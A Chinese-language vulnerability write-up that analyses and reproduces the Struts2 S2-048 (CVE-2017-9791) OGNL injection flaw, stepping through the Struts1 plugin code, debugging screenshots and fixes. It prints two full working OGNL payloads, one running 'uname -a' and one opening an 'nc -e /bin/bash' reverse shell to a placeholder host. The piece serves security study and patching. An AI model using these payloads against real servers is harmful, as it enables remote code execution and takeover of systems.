漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图1

    Strtus2-048


    一、漏洞描述:
    ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行所以访问 /integration/saveGangster.action 构造payload。

    二、影响版本:
    Struts 2.3.x with Struts 1 plugin and Struts 1 action

    三、漏洞复现:
    S2-048漏洞问题出现在struts2-struts1-plugin-2.3.32.jar 插件,这个插件的作用是可以让struts2能够兼容struts1的代码。

    1. struts2-struts1-plugin-2.3.32-sources.jar!/org/apache/struts2/s1/Struts1Action.java

    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图2
    首先调用对应的action处理请求,处理完成后会产生消息,进入了getText方法,先跟进execute方法:

    Struts1Factory strutsFactory = new Struts1Factory(Dispatcher.getInstance().getConfigurationManager().getConfiguration());ActionMapping mapping = strutsFactory.createActionMapping(actionConfig);HttpServletRequest request = ServletActionContext.getRequest();HttpServletResponse response = ServletActionContext.getResponse();ActionForward forward = action.execute(mapping, this.actionForm, request, response);ActionMessages messages = (ActionMessages)request.getAttribute("org.apache.struts.action.ACTION_MESSAGE");if (messages != null) {    Iterator i = messages.get();    label36:    while(true) {        while(true) {            if (!i.hasNext()) {                break label36;            }            ActionMessage msg = (ActionMessage)i.next();            if (msg.getValues() != null && msg.getValues().length > 0) {                this.addActionMessage(this.getText(msg.getKey(), Arrays.asList(msg.getValues())));            } else {                this.addActionMessage(this.getText(msg.getKey()));            }        }    }}
    

    找到action.execute(mapping, this.actionForm, request, response);这个action类方法的execute具体的实现代码:
    进入详细的execte具体的方法代码:

    public ActionForward execute(ActionMapping mapping, ActionForm form, ServletRequest request, ServletResponse response) throws Exception {    try {        return this.execute(mapping, form, (HttpServletRequest)request, (HttpServletResponse)response);    } catch (ClassCastException var6) {        return null;    }}public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {    return null;}
    
    src/apps/showcase/src/main/java/org/apache/struts2/showcase/integration/SaveGangsterAction.java
    

    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图3

    @Overridepublic ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {   // Some code to save the gangster to the db as necessary   GangsterForm gform = (GangsterForm) form;   ActionMessages messages = new ActionMessages();   messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added successfully"));   addMessages(request, messages);   return mapping.findForward("success");}
    

    前台对应页面:
    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图4
    gform.getName()类似于$_POST[‘name’],直接将用户输入进行拼接。

    struts2-struts1-plugin-2.3.32-sources.jar!/org/apache/struts2/s1/Struts1Action.java
    

    网页执行POC

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname  -a').getInputStream())).(#q)}
    

    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图5
    断点调试:
    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图6
    具体执行的命令:
    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图7
    可以看到ognl表达是已经传入,接下来就是ognl的解析执行了。
    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图8
    执行成功:
    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图9
    和系统的uname -a一致
    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图10
    换一个方式:执行反弹shell
    反弹:

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('nc -e /bin/bash XX.XX.XX.XX 34567').getInputStream())).(#q)}
    

    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图11
    断点调试获取反弹的信息:
    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图12
    成功执行:
    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图13
    成功获取shell
    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图14

    四、漏洞修复:
    1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:

    messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));
    

    一定不要使用如下的方式

    messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));
    

    3、 解决方案:建议升级到最新版本。

    参考:
    https://seaii-blog.com/index.php/2019/12/29/90.html
    https://blog.csdn.net/qq_29647709/article/details/84952381

    免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    订阅查看更多复现文章、学习笔记
    thelostworld
    安全路上,与你并肩前行!!!!
    漏洞代码调试(一):Strtus2-048代码分析调试-(CVE-2017-9791) - 图15
    个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
    个人简书:https://www.jianshu.com/u/bf0e38a8d400